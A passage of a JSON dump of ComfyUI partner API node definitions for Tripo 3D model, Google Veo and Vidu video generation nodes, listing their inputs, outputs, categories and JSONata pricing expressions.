widgets.texture_quality;\n {\"type\":\"usd\",\"usd\": ($contains($tq,\"detailed\") ? 0.2 : 0.1), \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoRefineNode": {"input": {"required": {"model_task_id": ["MODEL_TASK_ID", {"tooltip": "Must be a v1.4 Tripo model"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model_task_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoRefineNode", "display_name": "Tripo: Refine Draft model", "description": "Refine a draft model created by v1.4 Tripo models only.", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.3, \"format\": {\"approximate\": true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoRigNode": {"input": {"required": {"original_model_task_id": ["MODEL_TASK_ID", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["original_model_task_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "RIG_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "rig task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoRigNode", "display_name": "Tripo: Rig model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.25, \"format\": {\"approximate\": true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoRetargetNode": {"input": {"required": {"original_model_task_id": ["RIG_TASK_ID", {}], "animation": ["COMBO", {"multiselect": false, "options": ["preset:idle", "preset:walk", "preset:run", "preset:dive", "preset:climb", "preset:jump", "preset:slash", "preset:shoot", "preset:hurt", "preset:fall", "preset:turn", "preset:quadruped:walk", "preset:hexapod:walk", "preset:octopod:walk", "preset:serpentine:march", "preset:aquatic:march"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["original_model_task_id", "animation"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "RETARGET_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "retarget task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoRetargetNode", "display_name": "Tripo: Retarget rigged model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.1, \"format\": {\"approximate\": true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoConversionNode": {"input": {"required": {"original_model_task_id": ["MODEL_TASK_ID,RIG_TASK_ID,RETARGET_TASK_ID", {}], "format": ["COMBO", {"multiselect": false, "options": ["GLTF", "USDZ", "FBX", "OBJ", "STL", "3MF"]}]}, "optional": {"quad": ["BOOLEAN", {"advanced": true, "default": false}], "face_limit": ["INT", {"advanced": true, "default": -1, "min": -1, "max": 2000000}], "texture_size": ["INT", {"advanced": true, "default": 4096, "min": 128, "max": 4096}], "texture_format": ["COMBO", {"advanced": true, "default": "JPEG", "multiselect": false, "options": ["BMP", "DPX", "HDR", "JPEG", "OPEN_EXR", "PNG", "TARGA", "TIFF", "WEBP"]}], "force_symmetry": ["BOOLEAN", {"advanced": true, "default": false}], "flatten_bottom": ["BOOLEAN", {"advanced": true, "default": false}], "flatten_bottom_threshold": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 1.0}], "pivot_to_center_bottom": ["BOOLEAN", {"advanced": true, "default": false}], "scale_factor": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0}], "with_animation": ["BOOLEAN", {"advanced": true, "default": false}], "pack_uv": ["BOOLEAN", {"advanced": true, "default": false}], "bake": ["BOOLEAN", {"advanced": true, "default": false}], "part_names": ["STRING", {"advanced": true, "default": "", "multiline": false}], "fbx_preset": ["COMBO", {"advanced": true, "default": "blender", "multiselect": false, "options": ["blender", "mixamo", "3dsmax"]}], "export_vertex_colors": ["BOOLEAN", {"advanced": true, "default": false}], "export_orientation": ["COMBO", {"advanced": true, "default": "default", "multiselect": false, "options": ["align_image", "default"]}], "animate_in_place": ["BOOLEAN", {"advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["original_model_task_id", "format"], "optional": ["quad", "face_limit", "texture_size", "texture_format", "force_symmetry", "flatten_bottom", "flatten_bottom_threshold", "pivot_to_center_bottom", "scale_factor", "with_animation", "pack_uv", "bake", "part_names", "fbx_preset", "export_vertex_colors", "export_orientation", "animate_in_place"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "TripoConversionNode", "display_name": "Tripo: Convert model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "quad", "type": "BOOLEAN"}, {"name": "face_limit", "type": "INT"}, {"name": "texture_size", "type": "INT"}, {"name": "texture_format", "type": "COMBO"}, {"name": "flatten_bottom", "type": "BOOLEAN"}, {"name": "flatten_bottom_threshold", "type": "FLOAT"}, {"name": "pivot_to_center_bottom", "type": "BOOLEAN"}, {"name": "scale_factor", "type": "FLOAT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $face := (widgets.face_limit != null) ? widgets.face_limit : -1;\n $texSize := (widgets.texture_size != null) ? widgets.texture_size : 4096;\n $flatThresh := (widgets.flatten_bottom_threshold != null) ? widgets.flatten_bottom_threshold : 0;\n $scale := (widgets.scale_factor != null) ? widgets.scale_factor : 1;\n $texFmt := (widgets.texture_format != \"\" ? widgets.texture_format : \"jpeg\");\n $advanced :=\n widgets.quad or\n widgets.flatten_bottom or\n widgets.pivot_to_center_bottom or\n ($face != -1) or\n ($texSize != 4096) or\n ($flatThresh != 0) or\n ($scale != 1) or\n ($texFmt != \"jpeg\");\n {\"type\":\"usd\",\"usd\": ($advanced ? 0.1 : 0.05), \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VeoVideoGenerationNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the video", "default": "", "multiline": true}], "aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video", "default": "16:9", "multiselect": false, "options": ["16:9", "9:16"]}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Negative text prompt to guide what to avoid in the video", "default": "", "multiline": true}], "duration_seconds": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 5, "min": 5, "max": 8, "step": 1, "display": "number"}], "enhance_prompt": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance", "advanced": true, "default": true}], "person_generation": ["COMBO", {"tooltip": "Whether to allow generating people in the video", "advanced": true, "default": "ALLOW", "multiselect": false, "options": ["ALLOW", "BLOCK"]}], "seed": ["INT", {"tooltip": "Seed for video generation (0 for random)", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}], "image": ["IMAGE", {"tooltip": "Optional reference image to guide video generation"}], "model": ["COMBO", {"tooltip": "Veo 2 model to use for video generation", "default": "veo-2.0-generate-001", "multiselect": false, "options": ["veo-2.0-generate-001"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio"], "optional": ["negative_prompt", "duration_seconds", "enhance_prompt", "person_generation", "seed", "image", "model"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "VeoVideoGenerationNode", "display_name": "Google Veo 2 Video Generation", "description": "Generates videos from text prompts using Google's Veo 2 API", "python_module": "comfy_api_nodes.nodes_veo2", "category": "partner/video/Veo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration_seconds", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.5 * widgets.duration_seconds}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Veo3VideoGenerationNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the video", "default": "", "multiline": true}], "aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video", "default": "16:9", "multiselect": false, "options": ["16:9", "9:16"]}]}, "optional": {"resolution": ["COMBO", {"tooltip": "Output video resolution. 4K is not available for veo-3.1-lite and veo-3.0 models.", "default": "720p", "multiselect": false, "options": ["720p", "1080p", "4k"]}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt to guide what to avoid in the video", "default": "", "multiline": true}], "duration_seconds": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 8, "min": 4, "max": 8, "step": 2, "display": "number"}], "enhance_prompt": ["BOOLEAN", {"tooltip": "This parameter is deprecated and ignored.", "advanced": true, "default": true}], "person_generation": ["COMBO", {"tooltip": "Whether to allow generating people in the video", "advanced": true, "default": "ALLOW", "multiselect": false, "options": ["ALLOW", "BLOCK"]}], "seed": ["INT", {"tooltip": "Seed for video generation (0 for random)", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}], "image": ["IMAGE", {"tooltip": "Optional reference image to guide video generation"}], "model": ["COMBO", {"tooltip": "Veo 3 model to use for video generation", "multiselect": false, "options": ["veo-3.1-generate", "veo-3.1-fast-generate", "veo-3.1-lite", "veo-3.0-generate-001", "veo-3.0-fast-generate-001"]}], "generate_audio": ["BOOLEAN", {"tooltip": "Generate audio for the video. Supported by all Veo 3 models.", "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio"], "optional": ["resolution", "negative_prompt", "duration_seconds", "enhance_prompt", "person_generation", "seed", "image", "model", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Veo3VideoGenerationNode", "display_name": "Google Veo 3 Video Generation", "description": "Generates videos from text prompts using Google's Veo 3 API", "python_module": "comfy_api_nodes.nodes_veo2", "category": "partner/video/Veo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}, {"name": "resolution", "type": "COMBO"}, {"name": "duration_seconds", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $r := widgets.resolution;\n $a := widgets.generate_audio;\n $seconds := widgets.duration_seconds;\n $pps :=\n $contains($m, \"lite\")\n ? ($r = \"1080p\" ? ($a ? 0.08 : 0.05) : ($a ? 0.05 : 0.03))\n : $contains($m, \"3.1-fast\")\n ? ($r = \"4k\" ? ($a ? 0.30 : 0.25) : $r = \"1080p\" ? ($a ? 0.12 : 0.10) : ($a ? 0.10 : 0.08))\n : $contains($m, \"3.1-generate\")\n ? ($r = \"4k\" ? ($a ? 0.60 : 0.40) : ($a ? 0.40 : 0.20))\n : $contains($m, \"3.0-fast\")\n ? ($a ? 0.15 : 0.10)\n : ($a ? 0.40 : 0.20);\n {\"type\":\"usd\",\"usd\": $pps * $seconds}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Veo3FirstLastFrameNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the video", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt to guide what to avoid in the video", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720p", "1080p", "4k"]}], "aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video", "default": "16:9", "multiselect": false, "options": ["16:9", "9:16"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 8, "min": 4, "max": 8, "step": 2, "display": "slider"}], "seed": ["INT", {"tooltip": "Seed for video generation", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}], "first_frame": ["IMAGE", {"tooltip": "Start frame"}], "last_frame": ["IMAGE", {"tooltip": "End frame"}], "model": ["COMBO", {"multiselect": false, "options": ["veo-3.1-generate", "veo-3.1-fast-generate", "veo-3.1-lite"]}], "generate_audio": ["BOOLEAN", {"tooltip": "Generate audio for the video.", "default": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "resolution", "aspect_ratio", "duration", "seed", "first_frame", "last_frame", "model", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Veo3FirstLastFrameNode", "display_name": "Google Veo 3 First-Last-Frame to Video", "description": "Generate video using prompt and first and last frames.", "python_module": "comfy_api_nodes.nodes_veo2", "category": "partner/video/Veo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $r := widgets.resolution;\n $ga := widgets.generate_audio;\n $seconds := widgets.duration;\n $pps :=\n $contains($m, \"lite\")\n ? ($r = \"1080p\" ? ($ga ? 0.08 : 0.05) : ($ga ? 0.05 : 0.03))\n : $contains($m, \"fast\")\n ? ($r = \"4k\" ? ($ga ? 0.30 : 0.25) : $r = \"1080p\" ? ($ga ? 0.12 : 0.10) : ($ga ? 0.10 : 0.08))\n : ($r = \"4k\" ? ($ga ? 0.60 : 0.40) : ($ga ? 0.40 : 0.20));\n {\"type\":\"usd\",\"usd\": $pps * $seconds}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ViduTextToVideoNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model name", "multiselect": false, "options": ["viduq1"]}], "prompt": ["STRING", {"tooltip": "A textual description for video generation", "multiline": true}]}, "optional": {"duration": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 5, "min": 5, "max": 5, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed for video generation (0 for random)", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "resolution": ["COMBO", {"tooltip": "Supported values may vary by model & duration", "advanced": true, "multiselect": false, "options": ["1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt"], "optional": ["duration", "seed", "aspect_ratio", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ViduTextToVideoNode", "display_name": "Vidu Text To Video Generation", "description": "Generate video from a text prompt", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ViduImageToVideoNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model name", "multiselect": false, "options": ["viduq1"]}], "image": ["IMAGE", {"tooltip": "An image to be used as the start frame of the generated video"}]}, "optional": {"prompt": ["STRING", {"tooltip": "A textual description for video generation", "default": "", "multiline": true}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 5, "min": 5, "max": 5, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed for video generation (0 for random)", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "resolution": ["COMBO", {"tooltip": "Supported values may vary by model & duration", "advanced": true, "multiselect": false, "options": ["1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image"], "optional": ["prompt", "duration", "seed", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ViduImageToVideoNode", "display_name": "Vidu Image To Video Generation", "description": "Generate video from image and optional prompt", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ViduReferenceVideoNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model name", "multiselect": false, "options": ["viduq1"]}], "images": ["IMAGE", {"tooltip": "Images to use as references to generate a video with consistent subjects (max 7 images)."}], "prompt": ["STRING", {"tooltip": "A textual description for video generation", "multiline": true}]}, "optional": {"duration": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 5, "min": 5, "max": 5, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed for video generation (0 for random)", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "resolution": ["COMBO", {"tooltip": "Supported values may vary by model & duration", "advanced": true, "multiselect": false, "options": ["1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "images", "prompt"], "optional": ["duration", "seed", "aspect_ratio", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ViduReferenceVideoNode", "display_name": "Vidu Reference To Video Generation", "description": "Generate video from multiple images and a prompt", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ViduStartEndToVideoNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model name", "multiselect": false, "options": ["viduq1"]}], "first_frame": ["IMAGE", {"tooltip": "Start frame"}], "end_frame": ["IMAGE", {"tooltip": "End frame"}]}, "optional": {"prompt": ["STRING", {"tooltip": "A textual description for video generation", "multiline": true}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 5, "min": 5, "max": 5, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed for video generation (0 for random)", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "resolution": ["COMBO", {"tooltip": "Supported values may vary by model & duration", "advanced": true, "multiselect": false, "options": ["1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "first_frame", "end_frame"], "optional": ["prompt", "duration", "seed", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ViduStartEndToVideoNode", "display_name": "Vidu Start End To Video Generation", "description": "Generate a video from start and end frames and a prompt", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu2TextToVideoNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["viduq2"]}], "prompt": ["STRING", {"tooltip": "A textual description for video generation, with a maximum length of 2000 characters.", "multiline": true}], "duration": ["INT", {"default": 5, "min": 1, "max": 10, "step": 1, "display": "slider"}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "3:4", "4:3", "1:1"]}], "resolution": ["COMBO", {"advanced": true, "multiselect": false, "options": ["720p", "1080p"]}], "background_music": ["BOOLEAN", {"tooltip": "Whether to add background music to the generated video.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "duration", "seed", "aspect_ratio", "resolution", "background_music"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu2TextToVideoNode", "display_name": "Vidu2 Text-to-Video Generation", "description": "Generate video from a text prompt", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $is1080 := widgets.resolution = \"1080p\";\n $base := $is1080 ? 0.1 : 0.075;\n $perSec := $is1080 ? 0.05 : 0.025;\n {\"type\":\"usd\",\"usd\": $base + $perSec * (widgets.duration - 1)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu2ImageToVideoNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["viduq2-pro-fast", "viduq2-pro", "viduq2-turbo"]}], "image": ["IMAGE", {"tooltip": "An image to be used as the start frame of the generated video."}], "prompt": ["STRING", {"tooltip": "An optional text prompt for video generation (max 2000 characters).", "default": "", "multiline": true}], "duration": ["INT", {"default": 5, "min": 1, "max": 10, "step": 1, "display": "slider"}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "resolution": ["COMBO", {"advanced": true, "multiselect": false, "options": ["720p", "1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame.", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "prompt", "duration", "seed", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu2ImageToVideoNode", "display_name": "Vidu2 Image-to-Video Generation", "description": "Generate a video from an image and an optional prompt.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $d := widgets.duration;\n $is1080 := widgets.resolution = \"1080p\";\n $contains($m, \"pro-fast\")\n ? (\n $base := $is1080 ? 0.08 : 0.04;\n $perSec := $is1080 ? 0.02 : 0.01;\n {\"type\":\"usd\",\"usd\": $base + $perSec * ($d - 1)}\n )\n : $contains($m, \"pro\")\n ? (\n $base := $is1080 ? 0.275 : 0.075;\n $perSec := $is1080 ? 0.075 : 0.05;\n {\"type\":\"usd\",\"usd\": $base + $perSec * ($d - 1)}\n )\n : $contains($m, \"turbo\")\n ? (\n $is1080\n ? {\"type\":\"usd\",\"usd\": 0.175 + 0.05 * ($d - 1)}\n : (\n $d <= 1 ? {\"type\":\"usd\",\"usd\": 0.04}\n : $d <= 2 ? {\"type\":\"usd\",\"usd\": 0.05}\n : {\"type\":\"usd\",\"usd\": 0.05 + 0.05 * ($d - 2)}\n )\n )\n : {\"type\":\"usd\",\"usd\": 0.04}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": 